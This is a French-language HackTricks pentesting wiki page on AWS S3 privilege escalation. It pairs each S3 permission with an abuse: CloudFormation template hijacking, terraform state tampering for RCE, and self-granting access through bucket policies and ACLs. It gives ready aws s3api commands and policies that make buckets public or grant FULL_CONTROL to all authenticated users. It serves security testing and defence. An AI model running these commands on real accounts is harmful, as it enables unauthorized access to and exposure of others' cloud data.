# AWS - S3 Privesc

{{#include ../../../banners/hacktricks-training.md}}

## S3

### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`

Un attaquant ayant ces permissions sur des buckets intéressants pourrait être en mesure de détourner des ressources et d'escalader des privilèges.

Par exemple, un attaquant ayant ces **permissions sur un bucket cloudformation** appelé "cf-templates-nohnwfax6a6i-us-east-1" pourra détourner le déploiement. L'accès peut être accordé avec la politique suivante :
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
```
Et le détournement est possible car il y a une **petite fenêtre de temps entre le moment où le modèle est téléchargé** dans le bucket et le moment où le **modèle est déployé**. Un attaquant pourrait simplement créer une **lambda function** dans son compte qui sera **déclenchée lorsqu'une notification de bucket est envoyée**, et **détourner** le **contenu** de ce **bucket**.

![](<../../../images/image (174).png>)

Le module Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) peut être utilisé pour automatiser cette attaque.\
Pour plus d'informations, consultez la recherche originale : [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)

### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>

Ce sont les permissions pour **obtenir et télécharger des objets dans S3**. Plusieurs services à l'intérieur d'AWS (et en dehors) utilisent le stockage S3 pour stocker des **fichiers de configuration**.\
Un attaquant avec un **accès en lecture** à ceux-ci pourrait trouver des **informations sensibles**.\
Un attaquant avec un **accès en écriture** pourrait **modifier les données pour abuser d'un service et essayer d'escalader les privilèges**.\
Voici quelques exemples :

- Si une instance EC2 stocke les **données utilisateur dans un bucket S3**, un attaquant pourrait le modifier pour **exécuter du code arbitraire à l'intérieur de l'instance EC2**.

### `s3:PutObject`, `s3:GetObject` (optionnel) sur le fichier d'état terraform

Il est très courant que les fichiers d'état [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) soient sauvegardés dans le stockage blob des fournisseurs de cloud, par exemple AWS S3. Le suffixe de fichier pour un fichier d'état est `.tfstate`, et les noms de bucket indiquent souvent qu'ils contiennent des fichiers d'état terraform. En général, chaque compte AWS a un tel bucket pour stocker les fichiers d'état qui montrent l'état du compte.\
De plus, dans les comptes du monde réel, presque tous les développeurs ont presque toujours `s3:*` et parfois même les utilisateurs professionnels ont `s3:Put*`.

Donc, si vous avez les permissions énumérées sur ces fichiers, il existe un vecteur d'attaque qui vous permet d'obtenir RCE dans le pipeline avec les privilèges de `terraform` - la plupart du temps `AdministratorAccess`, vous faisant l'admin du compte cloud. De plus, vous pouvez utiliser ce vecteur pour effectuer une attaque par déni de service en faisant en sorte que `terraform` supprime des ressources légitimes.

Suivez la description dans la section *Abusing Terraform State Files* de la page *Terraform Security* pour un code d'exploitation directement utilisable :

{{#ref}}
pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
{{#endref}}

### `s3:PutBucketPolicy`

Un attaquant, qui doit être **du même compte**, sinon l'erreur `The specified method is not allowed will trigger`, avec cette permission pourra se donner plus de permissions sur le(s) bucket(s) lui permettant de lire, écrire, modifier, supprimer et exposer des buckets.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}
```
### `s3:GetBucketAcl`, `s3:PutBucketAcl`

Un attaquant pourrait abuser de ces permissions pour **lui accorder plus d'accès** sur des buckets spécifiques.\
Notez que l'attaquant n'a pas besoin d'être du même compte. De plus, l'accès en écriture
```bash
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`

Un attaquant pourrait abuser de ces autorisations pour lui accorder plus d'accès sur des objets spécifiques à l'intérieur des buckets.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`

Un attaquant disposant de ces privilèges est censé pouvoir appliquer un Acl à une version d'objet spécifique.
```bash
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
```
{{#include ../../../banners/hacktricks-training.md}}
